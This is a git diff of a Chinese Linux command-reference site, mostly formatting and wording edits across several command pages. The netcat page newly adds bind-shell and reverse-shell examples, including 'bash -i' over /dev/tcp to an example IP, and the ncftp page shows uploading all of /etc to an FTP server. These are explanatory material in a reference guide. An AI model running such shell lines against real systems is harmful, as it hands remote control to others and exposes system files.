数据库信息:指定要显示的数据库信息,可以是一个数据库名,或者是数据库名和表名,或者是数据库名、表名和列名。
-
\ No newline at end of file
diff --git a/command/named-checkzone.md b/command/named-checkzone.md
index da7fbaed85d..ee0e9a53df8 100644
--- a/command/named-checkzone.md
+++ b/command/named-checkzone.md
@@ -1,21 +1,21 @@
named-checkzone
===
-使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称。
+使用named-checkzone命令可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称
## 补充说明
**named-checkzone命令** 可以进行区域文件有效性检查和转换,必须指定区域名称和区域文件名称。
-### 语法
+### 语法
-```
+```shell
named-checkzone [选项] [区域名] [区域文件名]
```
-### 选项
+### 选项
-```
+```shell
-q 安静模式
-d 启用调试
-c <类别> 指定区域的类别。如果没指定就使用IN
@@ -25,7 +25,7 @@ named-checkzone [选项] [区域名] [区域文件名]
对区域文件/var/named/192.168.0.rev进行有效性检查和转换。
-```bash
+```shell
[root@localhost ~]# named-checkzone 0.168.192.in-addr.arpa /var/named/192.168.0.rev
zone0.168.192.in-addr.arpa/IN: loaded serial 1268360612
OK
@@ -33,11 +33,11 @@ OK
对区域文件/var/named/sh.com.hosts进行有效性检查和转换。
-```bash
+```shell
[root@localhost ~]# named-checkzone sh.com /var/named/sh.com.hosts
zonesh.com/IN: sh.com/MX 'mail.sh.com' is a CNAME (illegal)
zonesh.com/IN: loaded serial 1268360234
OK
```
-
+
diff --git a/command/nano.md b/command/nano.md
index b0237ff6a5b..95d871c4f0e 100644
--- a/command/nano.md
+++ b/command/nano.md
@@ -1,6 +1,6 @@
nano
===
-
+
字符终端文本编辑器
## 补充说明
@@ -9,15 +9,15 @@ nano
nano命令可以打开指定文件进行编辑,默认情况下它会自动断行,即在一行中输入过长的内容时自动拆分成几行,但用这种方式来处理某些文件可能会带来问题,比如Linux系统的配置文件,自动断行就会使本来只能写在一行上的内容折断成多行了,有可能造成系统不灵了。因此,如果你想避免这种情况出现,就加上`-w`选项吧。
-### 语法
+### 语法
-```
+```shell
nano [选项] [[+行,列] 文件名]...
```
-### 选项
+### 选项
-```
+```shell
-h, -? --help 显示此信息
+行,列 从所指列数与行数开始
-A --smarthome 启用智能 HOME 键
@@ -62,40 +62,39 @@ nano [选项] [[+行,列] 文件名]...
-f, -g, -j (忽略,为与pico 相容)
```
-### 用法
+### 用法
- **光标控制**
+**光标控制**
-* 移动光标:使用用方向键移动。
-* 选择文字:按住鼠标左键拖到。
+* 移动光标:使用用方向键移动。
+* 选择文字:按住鼠标左键拖到。
- **复制、剪贴和粘贴**
+**复制、剪贴和粘贴**
-* 复制一整行:Alt+6
-* 剪贴一整行:Ctrl+K
+* 复制一整行:Alt+6
+* 剪贴一整行:Ctrl+K
- **粘贴:Ctrl+U**
+**粘贴:Ctrl+U**
如果需要复制/剪贴多行或者一行中的一部分,先将光标移动到需要复制/剪贴的文本的开头,按Ctrl+6(或者Alt+A)做标记,然后移动光标到 待复制/剪贴的文本末尾。这时选定的文本会反白,用Alt+6来复制,Ctrl+K来剪贴。若在选择文本过程中要取消,只需要再按一次Ctrl+6。
- **搜索**
+**搜索**
按Ctrl+W,然后输入你要搜索的关键字,回车确定。这将会定位到第一个匹配的文本,接着可以用Alt+W来定位到下一个匹配的文本。
- **翻页**
+**翻页**
-* Ctrl+Y到上一页
-* Ctrl+V到下一页
+* `Ctrl+Y` 到上一页
+* `Ctrl+V` 到下一页
- **保存**
+**保存**
使用Ctrl+O来保存所做的修改
- **退出**
+**退出**
按Ctrl+X
如果你修改了文件,下面会询问你是否需要保存修改。输入Y确认保存,输入N不保存,按Ctrl+C取消返回。如果输入了Y,下一步会让你输入想要保存的文件名。如果不需要修改文件名直接回车就行;若想要保存成别的名字(也就是另存为)则输入新名称然后确 定。这个时候也可用Ctrl+C来取消返回。
-
\ No newline at end of file
diff --git a/command/nc.md b/command/nc.md
index a489abcf68c..6d1caeffe3f 100644
--- a/command/nc.md
+++ b/command/nc.md
@@ -1,42 +1,48 @@
nc
===
-用于设置路由器,是网络工具中的瑞士军刀。
+nc是网络工具中的瑞士军刀
## 补充说明
-**nc命令** 全称**netcat**,用于设置路由器。它能通过 TCP 和 UDP 在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用 netcat 命令所能完成的事情令人惊讶。
-### 语法
+**nc命令** 全称**netcat**,用于TCP、UDP或unix域套接字(uds)的数据流操作,它可以打开TCP连接,发送UDP数据包,监听任意TCP
+和UDP端口,同时也可用作做端口扫描,支持IPv4和IPv6,与Telnet的不同在于nc可以编写脚本。
-```
+### 语法
+
+```shell
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>]
[-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
```
-### 选项
+### 选项
-```
--g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
--G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
+```shell
+-4 只使用IPV4
+-6 只使用IPV6
+-c 使用tls连接或者监听
+-D 启用socket调试开关
+-g <网关> # 设置路由器跃程通信网关,最多可设置8个。
+-G<指向器数目> # 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
--o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
--p<通信端口> 设置本地主机使用的通信端口。
+-o<输出文件> # 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
+-p<通信端口> # 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
--s<来源位址> 设置本地主机送出数据包的IP地址。
+-s<来源位址> # 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
--w<超时秒数> 设置等待连线的时间。
+-w<超时秒数> # 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
```
### 实例
-TCP端口扫描
+**TCP端口扫描**
-```
+```shell
[root@localhost ~]# nc -v -z -w2 192.168.0.3 1-100
192.168.0.3: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.0.3] 80 (http) open
@@ -45,15 +51,15 @@ TCP端口扫描
```
扫描192.168.0.3 的端口 范围是 1-100
-扫描UDP端口
+**扫描UDP端口**
-```
-[root@localhost ~]# nc -u -z -w2 192.168.0.1 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000
+```shell
+[root@localhost ~]# nc -u -z -w2 192.168.0.3 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000
```
-扫描指定端口
+**扫描指定端口**
-```
+```shell
[root@localhost ~]# nc -nvv 192.168.0.1 80 # 扫描 80端口
(UNKNOWN) [192.168.0.1] 80 (?) open
y //用户输入
@@ -61,11 +67,57 @@ y //用户输入
查看从服务器到目的地的出站端口 443 是否被防火墙阻止
-```bash
+```shell
nc -vz acme-v02.api.letsencrypt.org 443 -w2
# Ncat: Version 7.50 ( https://nmap.org/ncat )
# Ncat: Connected to 23.77.214.183:443.
# Ncat: 0 bytes sent, 0 bytes received in 0.07 seconds.
```
+**文件传输**
+
+```shell
+# 接收方提前设置监听端口与要接收的文件名(文件名可自定义):
+nc -lp 8888 > node.tar.gz
+
+# 传输方发文件:
+nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz
+# ⚠️ 注意:192.168.75.121是接收方的ip地址。
+```
+
+```shell
+# 如果希望文件传输结束后自动退出,可以使用下面的命令:
+nc -lp 8888 > node.tar.gz
+nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz
+# ⚠️ 注意:-i 表示闲置超时时间
+```
+
+**远程控制**
+
+```shell
+# 正向控制,被控端主动设置监听端口及bash环境,控制端连接,如果有防火墙,需开放端口,否则会被拦截。
+# 被控制端执行下面的命令:
+nc -lvnp 8888 -c bash
+# 控制端执行下面的命令:
+nc 192.168.75.121 8888
+```
+
+```shell
+# 反向控制,控制端设置监听端口,被控端主动连接控制端的ip及端口,并提供bash环境。
+# 控制端执行下面的命令:
+nc -lvnp 8888
+# 被控制端执行下面的命令:
+nc 192.168.75.121 8888 -c bash
+```
+
+**反弹shell**
+
+```shell
+# 控制端执行下面的命令:
+nc -lvnp 8888
+```
+
+```
+# 被控端执行下面的命令:
+bash -i &> /dev/tcp/192.168.75.121/8888 0>&1
+```
-
diff --git a/command/ncftp.md b/command/ncftp.md
index 95022d5a59a..c4e5e70f78b 100644
--- a/command/ncftp.md
+++ b/command/ncftp.md
@@ -1,21 +1,21 @@
ncftp
===
-
+
是增强的的FTP工具
## 补充说明
**ncftp命令** 是增强的的ftp工具,比传统的FTP指令更加强大。FTP让用户得以下载存放于服务器主机的文件,也能将文件上传到远端主机放置。ncftp是文字模式FTP程序的佼佼者,它具备多样特色,包括显示传输速率,下载进度,自动续传,标住书签,可通过防火墙和代理服务器等。
-### 语法
+### 语法
-```
+```shell
ncftp(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-u:指定登录FTP服务器时使用的用户名;
-p:指定登录FTP服务器时使用的密码;
-P:如果FTP服务器没有使用默认的TCP协议的21端口,则使用此选项指定FTP服务器的端口号。
@@ -23,13 +23,13 @@ ncftp(选项)(参数)
-R:递规传子目录
```
-### 参数
+### 参数
FTP服务器:指定远程FTP服务器的ip地址或主机名。
-### 安装
+### 安装
-```
+```shell
wget ftp://ftp.ncftp.com/ncftp/ncftp-3.2.3-src.tar.gz
tar zxvf ncftp-3.2.3-src.tar.gz
cd ncftp-3.2.3/
@@ -37,11 +37,11 @@ cd ncftp-3.2.3/
make && make install
```
-### 实例
+### 实例
将本地/etc/目录内的所有文件和目录,上传到FTP服务器的flv/games/目录内(如果不存在flv/games/目录则自动创建)。
-```
+```shell
/usr/local/ncftp/bin/ncftpput -u koumm -p koumm -P 21 -m -R 192.168.162.137 flv/games/ /etc/*
```
@@ -61,4 +61,3 @@ ncftp的基本命令和普通ftp一样,可以输入help获得命令列表。
* lrmdir: 删除本地目录。
-
\ No newline at end of file
diff --git a/command/neofetch.md b/command/neofetch.md
new file mode 100644
index 00000000000..50400a188a2
--- /dev/null
+++ b/command/neofetch.md
@@ -0,0 +1,87 @@
+neofetch
+===
+
+显示带有发行徽标的系统信息的工具
+
+## 补充说明
+
+**neofetch** 支持Linux/Unix、Windows、macOS。各发行版均已集成包可直接进行安装
+
+Neofetch是一个在终端上显示带有发行徽标的系统信息工具,neofetch命令将显示有关相应系统的简要信息。
+显示的信息包括: 型号、操作系统、内核、CPU、GPU、内存、正常运行时间、程序包、shell、分辨率、DE、WM、WM主题、主题、图标和终端等
+
+Neofetch是一个开源工具,[项目地址](https://github.com/dylanaraps/neofetch)
+
+### 安装
+
+Debian/Ubuntu
+
+```shell
+sudo apt install neofetch -y
+```
+
+CentOS
+
+```shell
+sudo yum install neofetch -y
+sudo dnf install neofetch -y
+```
+
+[更多系统安装](https://github.com/dylanaraps/neofetch/wiki/Installation)
+### 语法
+
+```
+neofetach
+```
+
+### 返回
+
+**回显**
+
+macOS:
+```shell
+ 'c. mac@Mac-mini.local
+ ,xNMM. --------------------------
+ .OMMMMo OS: macOS 12.4 21F79 arm64
+ OMMM0, Host: Macmini9,1
+ .;loddo:' loolloddol;. Kernel: 21.5.0
+ cKMMMMMMMMMMNWMMMMMMMMMM0: Uptime: 2 hours, 57 mins
+ .KMMMMMMMMMMMMMMMMMMMMMMMWd. Packages: 20 (brew)
+ XMMMMMMMMMMMMMMMMMMMMMMMX. Shell: zsh 5.8.1
+;MMMMMMMMMMMMMMMMMMMMMMMM: Resolution: 2560x1440, 1920x1080
+:MMMMMMMMMMMMMMMMMMMMMMMM: DE: Aqua
+.MMMMMMMMMMMMMMMMMMMMMMMMX. WM: Quartz Compositor
+ kMMMMMMMMMMMMMMMMMMMMMMMMWd. WM Theme: Blue (Dark)
+ .XMMMMMMMMMMMMMMMMMMMMMMMMMMk Terminal: iTerm2
+ .XMMMMMMMMMMMMMMMMMMMMMMMMK. Terminal Font: Monaco 12
+ kMMMMMMMMMMMMMMMMMMMMMMd CPU: Apple M1
+ ;KMMMMMMMWXXWMMMMMMMk. GPU: Apple M1
+ .cooc,. .,coo:. Memory: 2251MiB / 16384MiB
+```
+
+Ubuntu:
+
+```shell
+ .-/+oossssoo+/-. root@root
+ `:+ssssssssssssssssss+:` ------------
+ -+ssssssssssssssssssyyssss+- OS: Ubuntu 20.04.4 LTS aarch64
+ .ossssssssssssssssssdMMMNysssso. Host: Firefly RK3568-ROC-PC HDMI (Linux)
+ /ssssssssssshdmmNNmmyNMMMMhssssss/ Kernel: 4.19.193
+ +ssssssssshmydMMMMMMMNddddyssssssss+ Uptime: 7 days, 13 hours, 3 mins
+ /sssssssshNMMMyhhyyyyhmNMMMNhssssssss/ Packages: 1158 (dpkg)
+.ssssssssdMMMNhsssssssssshNMMMdssssssss. Shell: bash 5.0.17
++sssshhhyNMMNyssssssssssssyNMMMysssssss+ Resolution: 1440x900
+ossyNMMMNyMMhsssssssssssssshmmmhssssssso WM: Openbox
+ossyNMMMNyMMhsssssssssssssshmmmhssssssso Theme: Arc-Darker [GTK3]
++sssshhhyNMMNyssssssssssssyNMMMysssssss+ Icons: Adwaita [GTK3]
+.ssssssssdMMMNhsssssssssshNMMMdssssssss. Terminal: /dev/pts/0
+ /sssssssshNMMMyhhyyyyhdNMMMNhssssssss/ CPU: Firefly RK3568-ROC-PC HDMI (Linux) (4) @ 1.992GHz
+ +sssssssssdmydMMMMMMMMddddyssssssss+ Memory: 617MiB / 7687MiB
+ /ssssssssssshdmNNNNmyNMMMMhssssss/
+ .ossssssssssssssssssdMMMNysssso.
+ -+sssssssssssssssssyyyssss+-
+ `:+ssssssssssssssssss+:`
+ .-/+oossssoo+/-.
+```
+
+
diff --git a/command/nethogs.md b/command/nethogs.md
index 9f451d725bf..d1f97ffe52e 100644
--- a/command/nethogs.md
+++ b/command/nethogs.md
@@ -16,14 +16,14 @@ nethogs
本文为你介绍如何在Unix/Linux操作系统下如何安装和使用NetHogs按进程监控网络带宽使用率。
-### 语法
+### 语法
-```
+```shell
nethogs(选项)(参数)
```
-### 选项
+### 选项
-```bash
+```shell
usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [device [device [device ...]]]
-V : 打印版本。
-h : 打印此帮助。
@@ -46,10 +46,10 @@ usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [
其他参数和用法
-```
+```shell
-d : 刷新间隔
-h : 帮助
--p : promiscious 模式
+-p : promiscuous 模式
-t : trace模式
-V : 版本
```
@@ -69,32 +69,30 @@ usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [
要安装NetHogs,你必须要启用你所用Linux下的EPEL源。然后运行下面的yum命令下载安装NetHogs包。
-```
-# yum install nethogs
+```shell
+yum install nethogs
```
**在Ubuntu、Linux mint和Debian下安装NetHogs**
键入apt-get命令安装NetHogs包:
-```
+```shell
$ sudo apt-get install nethogs
```
-### NetHogs用法
+### NetHogs用法
在基于RedHat系统下键入如下命令启动NetHogs工具。
-```
-# nethogs
-
+```shell
+nethogs
```
在Debian/Ubuntu/Linux Mint下要执行NetHogs你必须拥有root权限:
-```
+```shell
$ sudo nethogs
-
```
!nethogs
@@ -103,40 +101,35 @@ Ubuntu 12.10 下的NetHogs预览
正如上图所示,send列和received列显示的是按照每个进程的流量统计。总的收发数据带宽在最下方,而且可以用交互命令控制排序,下面将要讨论这些交互命令。
-### NetHogs 命令行参数
+### NetHogs 命令行参数
以下就是NetHogs命令行的参数,用-d来添加刷新频率参数,device name 用来检测给定的某个或者某些设备的带宽(默认是eth0)。例如:设置5秒钟的刷新频率,键入如下命令即可:
-```
-# nethogs -d 5
-
+```shell
+nethogs -d 5
```
-```
+```shell
$ sudo nethogs -d 5
-
```
如果只用来监视设备(eth0)的网络带宽可以使用如下命令:
+```shell
+nethogs eth0
```
-# nethogs eth0
-```
-
-```
+```shell
$ sudo nethogs eth0
-
```
如果要同时监视eth0和eth1接口,使用以下命令即可:
-```
-# nethogs eth0 eth1
-
+```shell
+nethogs eth0 eth1
```
-```
+```shell
$ sudo nethogs eth0 eth1
```
@@ -144,4 +137,4 @@ $ sudo nethogs eth0 eth1
关于NetHogs命令行工具的完整参数列表,可以参考NetHogs的手册,使用方法是在终端里输入`man nethogs`或者`sudo man nethogs`,更多信息请参考NetHogs项目主页。
-
+
diff --git a/command/netstat.md b/command/netstat.md
index 408c636a9e7..97bf34ae5c8 100644
--- a/command/netstat.md
+++ b/command/netstat.md
@@ -7,15 +7,15 @@ netstat
**netstat命令** 用来打印Linux中网络系统的状态信息,可让你得知整个Linux系统的网络情况。
-### 语法
+### 语法
-```
+```shell
netstat(选项)
```
-### 选项
+### 选项
-```
+```shell
-a或--all:显示所有连线中的Socket;
-A<网络类型>或--<网络类型>:列出该网络类型连线中的相关地址;
-c或--continuous:持续列出网络状态;
@@ -42,11 +42,11 @@ netstat(选项)
--ip或--inet:此参数的效果和指定"-A inet"参数相同。
```
-### 实例
+### 实例
**列出所有端口 (包括监听和未监听的)**
-```
+```shell
netstat -a #列出所有端口
netstat -at #列出所有tcp端口
netstat -au #列出所有udp端口
@@ -54,7 +54,7 @@ netstat -au #列出所有udp端口
**列出所有处于监听状态的 Sockets**
-```
+```shell
netstat -l #只显示监听端口
netstat -lt #只列出所有监听 tcp 端口
netstat -lu #只列出所有监听 udp 端口
@@ -63,16 +63,16 @@ netstat -lx #只列出所有监听 UNIX 端口
**显示每个协议的统计信息**
-```
+```shell
netstat -s 显示所有端口的统计信息
netstat -st 显示TCP端口的统计信息
netstat -su 显示UDP端口的统计信息
-```
+```shell
**在netstat输出中显示 PID 和进程名称**
-```
+```shell
netstat -pt
```
@@ -82,13 +82,13 @@ netstat -pt
当你不想让主机,端口和用户名显示,使用`netstat -n`。将会使用数字代替那些名称。同样可以加速输出,因为不用进行比对查询。
-```
+```shell
netstat -an
```
如果只是不想让这三个名称中的一个被显示,使用以下命令:
-```
+```shell
netsat -a --numeric-ports
netsat -a --numeric-hosts
netsat -a --numeric-users
@@ -96,19 +96,19 @@ netsat -a --numeric-users
**持续输出netstat信息**
-```
+```shell
netstat -c #每隔一秒输出网络信息
```
**显示系统不支持的地址族(Address Families)**
-```
+```shell
netstat --verbose
```
在输出的末尾,会有如下的信息:
-```
+```shell
netstat: no support for `AF IPX' on this system.
netstat: no support for `AF AX25' on this system.
netstat: no support for `AF X25' on this system.
@@ -117,7 +117,7 @@ netstat: no support for `AF NETROM' on this system.
**显示核心路由信息**
-```
+```shell
netstat -r
```
@@ -127,25 +127,25 @@ netstat -r
并不是所有的进程都能找到,没有权限的会不显示,使用 root 权限查看所有的信息。
-```
+```shell
netstat -ap | grep ssh
```
找出运行在指定端口的进程:
-```
+```shell
netstat -an | grep ':80'
```
**通过端口找进程ID**
-
+
```bash
netstat -anp|grep 8081 | grep LISTEN|awk '{printf $7}'|cut -d/ -f1
```
**显示网络接口列表**
-```
+```shell
netstat -i
```
@@ -155,21 +155,58 @@ netstat -i
查看连接某服务端口最多的的IP地址:
-```
+```shell
netstat -ntu | grep :80 | awk '{print $5}' | cut -d: -f1 | awk '{++ip[$1]} END {for(i in ip) print ip[i],"\t",i}' | sort -nr
```
TCP各种状态列表:
-```
+```shell
netstat -nt | grep -e 127.0.0.1 -e 0.0.0.0 -e ::: -v | awk '/^tcp/ {++state[$NF]} END {for(i in state) print i,"\t",state[i]}'
```
查看phpcgi进程数,如果接近预设值,说明不够用,需要增加:
-```
+```shell
netstat -anpo | grep "php-cgi" | wc -l
```
+## 扩展知识
+
+### 网络连接状态详解
+
+**共有12中可能的状态**,前面11种是按照TCP连接建立的三次握手和TCP连接断开的四次挥手过程来描述的:
+
+1. LISTEN:首先服务端需要打开一个socket进行监听,状态为 LISTEN,侦听来自远方TCP端口的连接请求 ;
+
+2. SYN_SENT:客户端通过应用程序调用connect进行active open,于是客户端tcp发送一个SYN以请求建立一个连接,之后状态置为 SYN_SENT,在发送连接请求后等待匹配的连接请求;
+
+3. SYN_RECV:服务端应发出ACK确认客户端的 SYN,同时自己向客户端发送一个SYN,之后状态置为,在收到和发送一个连接请求后等待对连接请求的确认;
+
+4. ESTABLISHED:代表一个打开的连接,双方可以进行或已经在数据交互了, 代表一个打开的连接,数据可以传送给用户;
+
+5. FIN_WAIT1:主动关闭(active close)端应用程序调用close,于是其TCP发出FIN请求主动关闭连接,之后进入FIN_WAIT1状态, 等待远程TCP的连接中断请求,或先前的连接中断请求的确认;
+
+6. CLOSE_WAIT:被动关闭(passive close)端TCP接到FIN后,就发出ACK以回应FIN请求(它的接收也作为文件结束符传递给上层应用程序),并进入CLOSE_WAIT, 等待从本地用户发来的连接中断请求;
+
+7. FIN_WAIT2:主动关闭端接到ACK后,就进入了 FIN-WAIT-2,从远程TCP等待连接中断请求;
+
+8. LAST_ACK:被动关闭端一段时间后,接收到文件结束符的应用程 序将调用CLOSE关闭连接,这导致它的TCP也发送一个 FIN,等待对方的ACK.就进入了LAST-ACK,等待原来发向远程TCP的连接中断请求的确认;
+
+9. TIME_WAIT:在主动关闭端接收到FIN后,TCP 就发送ACK包,并进入TIME-WAIT状态,等待足够的时间以确保远程TCP接收到连接中断请求的确认;
+
+10. CLOSING: 比较少见,等待远程TCP对连接中断的确认;
+
+11. CLOSED: 被动关闭端在接受到ACK包后,就进入了closed的状态,连接结束,没有任何连接状态;
+
+12. UNKNOWN:未知的Socket状态;
+
+**常见标志位**
+
+* SYN: (同步序列编号,Synchronize Sequence Numbers)该标志仅在三次握手建立TCP连接时有效。表示一个新的TCP连接请求。
+
+* ACK: (确认编号,Acknowledgement Number)是对TCP请求的确认标志,同时提示对端系统已经成功接收所有数据。
+
+* FIN: (结束标志,FINish)用来结束一个TCP回话.但对应端口仍处于开放状态,准备接收后续数据。
+
-
diff --git a/command/newusers.md b/command/newusers.md
index ebf85565e4d..1208d39cbd5 100644
--- a/command/newusers.md
+++ b/command/newusers.md
@@ -1,35 +1,35 @@
newusers
===
-
+
用于批处理的方式一次创建多个命令
## 补充说明
**newusers命令** 用于批处理的方式一次创建多个命令。
-### 语法
+### 语法
-```
+```shell
newusers(参数)
```
-### 参数
+### 参数
用户文件:指定包含用户信息的文本文件,文件的格式要与`/etc/passwd`相同。
-### 实例
+### 实例
实用newusers命令批量添加用户:
用法很简单,newusers后面直接跟一个文件,文件格式和`/etc/passwd`的格式相同。
-```
+```shell
用户名1:x:UID:GID:用户说明:用户的家目录:所用SHELL
```
举例:
-```
+```shell
jingang0:x:520:520::/home/jingang0:/sbin/nologin
jingang1:x:521:521::/home/jingang1:/sbin/nologin
......
@@ -37,7 +37,7 @@ jingang1:x:521:521::/home/jingang1:/sbin/nologin
值得一提的是关于SHELL类型,查看主机上所有SHELL,可以通过chsh来查看:
-```
+```shell
[root@localhost beinan]# chsh --list
/bin/sh
/bin/bash
@@ -53,4 +53,3 @@ jingang1:x:521:521::/home/jingang1:/sbin/nologin
关于用户名、UID、GID及用户的家目录是怎么回事,您可以读相应的参考文档。
-
\ No newline at end of file
diff --git a/command/nfsstat.md b/command/nfsstat.md
index 81d194e5217..f08495ce416 100644
--- a/command/nfsstat.md
+++ b/command/nfsstat.md
@@ -1,21 +1,21 @@
nfsstat
===
-
+
列出NFS客户端和服务器的工作状态
## 补充说明
**nfsstat命令** 用于列出NFS客户端和服务器的工作状态。
-### 语法
+### 语法
-```
+```shell
nfsstat(选项)
```
-### 选项
+### 选项
-```
+```shell
-s:仅列出NFS服务器端状态;
-c:仅列出NFS客户端状态;
-n:仅列出NFS状态,默认显示nfs客户端和服务器的状态;
@@ -26,31 +26,30 @@ nfsstat(选项)
-r:仅打印rpc状态。
```
-### 实例
+### 实例
要显示关于客户机发送和拒绝的RPC和NFS调用数目的信息,输入:
-```
+```shell
nfsstat -c
```
要显示和打印与客户机NFS调用相关的信息,输入如下命令:
-```
+```shell
nfsstat -cn
```
要显示和打印客户机和服务器的与RPC调用相关的信息,输入如下命令:
-```
+```shell
nfsstat -r
```
要显示关于服务器接收和拒绝的RPC和NFS调用数目的信息,输入如下命令:
-```
+```shell
nfsstat –s
```
-
\ No newline at end of file
diff --git a/command/ngrep.md b/command/ngrep.md
index 493ed530c21..c4ffc77340b 100644
--- a/command/ngrep.md
+++ b/command/ngrep.md
@@ -1,19 +1,19 @@
ngrep
===
-
+
方便的数据包匹配和显示工具
## 补充说明
**ngrep命令** 是grep命令的网络版,他力求更多的grep特征,用于搜寻指定的数据包。正由于安装ngrep需用到libpcap库, 所以支持大量的操作系统和网络协议。能识别TCP、UDP和ICMP包,理解bpf的过滤机制。
-### 安装
+### 安装
ngrep命令的下载地址:http://ngrep.sourceforge.net/,libpcap下载地址:http://www.tcpdump.org/。先用`yum install libpcap`完全安装libpcap,注意有时候用libpcap安装包安装的不完整会影响ngrep的使用。
如果yum无法安装就用以下步骤安装libpcap:
-```
+```shell
wget http://www.tcpdump.org/release/libpcap-1.3.0.tar.gz
tar -zxf libpcap-1.3.0.tar.gz
cd libpcap-1.3.0
@@ -25,74 +25,74 @@ ngrep的安装就是 configure/make/make install 三部曲。
注:configure时是遇到 please wipe out all unused pcap installations,添加以下选项:
-```
+```shell
./configure --with-pcap-includes=/usr/local/include/pcap
```
在安装后输入ngrep来验证下安装是否成功。
-### 语法
+### 语法
-```
+```shell
ngrep <-LhNXViwqpevxlDtTRM> <-IO pcap_dump> <-n num> <-d dev> <-A num>
<-s snaplen> <-S limitlen> <-w normal|byline|single|none> <-c cols>
<-P char> <-F file>
```
-### 选项
-
-```
--e :显示空数据包
--i :忽略大小写
--v :反转匹配
--R :don't do privilege revocation logic
--x :以16进制格式显示
--X :以16进制格式匹配
--w :整字匹配
--p :不使用混杂模式
--l :make stdout line buffered
--D :replay pcap_dumps with their recorded time intervals
--t :在每个匹配的包之前显示时间戳
--T :显示上一个匹配的数据包之间的时间间隔
--M :仅进行单行匹配
--I :从文件中读取数据进行匹配
--O :将匹配的数据保存到文件
--n :仅捕获指定数目的数据包进行查看
--A :匹配到数据包后dump随后的指定数目的数据包
--s :set the bpf caplen
--S :set the limitlen on matched packets
--W :设置显示格式byline将解析包中的换行符
--c :强制显示列的宽度
--P :set the non-printable display char to what is specified
--F :使用文件中定义的bpf(Berkeley Packet Filter)
--N :显示由IANA定义的子协议号
--d :使用哪个网卡,可以用-L选项查询
--L :查询网卡接口
-```
-
-### 实例
+### 选项
+
+```shell
+-e # 显示空数据包
+-i # 忽略大小写
+-v # 反转匹配
+-R # don't do privilege revocation logic
+-x # 以16进制格式显示
+-X # 以16进制格式匹配
+-w # 整字匹配
+-p # 不使用混杂模式
+-l # make stdout line buffered
+-D # replay pcap_dumps with their recorded time intervals
+-t # 在每个匹配的包之前显示时间戳
+-T # 显示上一个匹配的数据包之间的时间间隔
+-M # 仅进行单行匹配
+-I # 从文件中读取数据进行匹配
+-O # 将匹配的数据保存到文件
+-n # 仅捕获指定数目的数据包进行查看
+-A # 匹配到数据包后dump随后的指定数目的数据包
+-s # set the bpf caplen
+-S # set the limitlen on matched packets
+-W # 设置显示格式byline将解析包中的换行符
+-c # 强制显示列的宽度
+-P # set the non-printable display char to what is specified
+-F # 使用文件中定义的bpf(Berkeley Packet Filter)
+-N # 显示由IANA定义的子协议号
+-d # 使用哪个网卡,可以用-L选项查询
+-L # 查询网卡接口
+```
+
+### 实例
捕捉cloudian:18080端口的request和response,`-W byline`用来解析包中的换行符,否则包里的所有数据都是连续的,可读性差。`-d lo`是监听本地网卡:
-```
+```shell
ngrep -W byline -d lo port 18080
```
捕捉amazon:80端口的request和response。`-d eth0是`用来监听对外的网卡:
-```
+```shell
ngrep -W byline -d eth0 port 80
```
可以用`-d any`来捕捉所有的包:
-```
+```shell
ngrep '[a-zA-Z]' -t -W byline -d any tcp port 18080
```
捕获字符串`.flv`,比如要查看在Web Flash 视频中的.flv文件的下载地址:
-```
+```shell
ngrep -d3 -N -q \.flv
interface: \Device\TNT_40_1_{670F6B50-0A13-4BAB-9D9E-994A833F5BA9} (10.132.0.0/2
55.255.192.0)
@@ -101,7 +101,7 @@ match: \.flv
打开一个视频页面:
-```
+```shell
T(6) 10.132.34.23:24860 -> 61.142.208.154:80 [AP]
GET /f59.c31.56.com/flvdownload/12/19/ggyg7741@56.com_56flv_zhajm_119556973
97.flv HTTP/1.1..accept: */*..Referer: http://www.56.com/flashApp/v_player_
@@ -116,7 +116,7 @@ OK。地址已经找到了,就是http://f59.c31.56.com/flvdownload/12/19/ggyg774
加个`-W byline`参数后,将解析包中的换行符:
-```
+```shell
T(6) 2007/11/25 15:56:12.192619 10.132.34.23:26365 -> 59.151.21.101:80 [AP]
GET /aa.flv HTTP/1.1.
Accept: */*.
@@ -136,4 +136,3 @@ yi7E53UBOcv4V.
```
-
\ No newline at end of file
diff --git a/command/nice.md b/command/nice.md
index b8d715edd71..a5c3640fc35 100644
--- a/command/nice.md
+++ b/command/nice.md
@@ -1,41 +1,41 @@
nice
===
-
-改变程序执行的优先权等级
+
+调整程序执行的优先权等级
## 补充说明
-**nice命令** 用于以指定的进程调度优先级启动其他的程序。
+**nice命令** 用于调整进程调度优先级启动其他的程序。
-### 语法
-```
-nice(选项)(参数)
+### 语法
+
+```shell
+nice [选项] [命令 [参数]...]
```
-### 选项
+### 选项
-```
--n:指定进程的优先级(整数)。
+```shell
+-n:指定nice值(整数,-20(最高)~19(最低))。
```
-### 参数
+### 参数
指令及选项:需要运行的指令及其他选项。
-### 实例
+### 实例
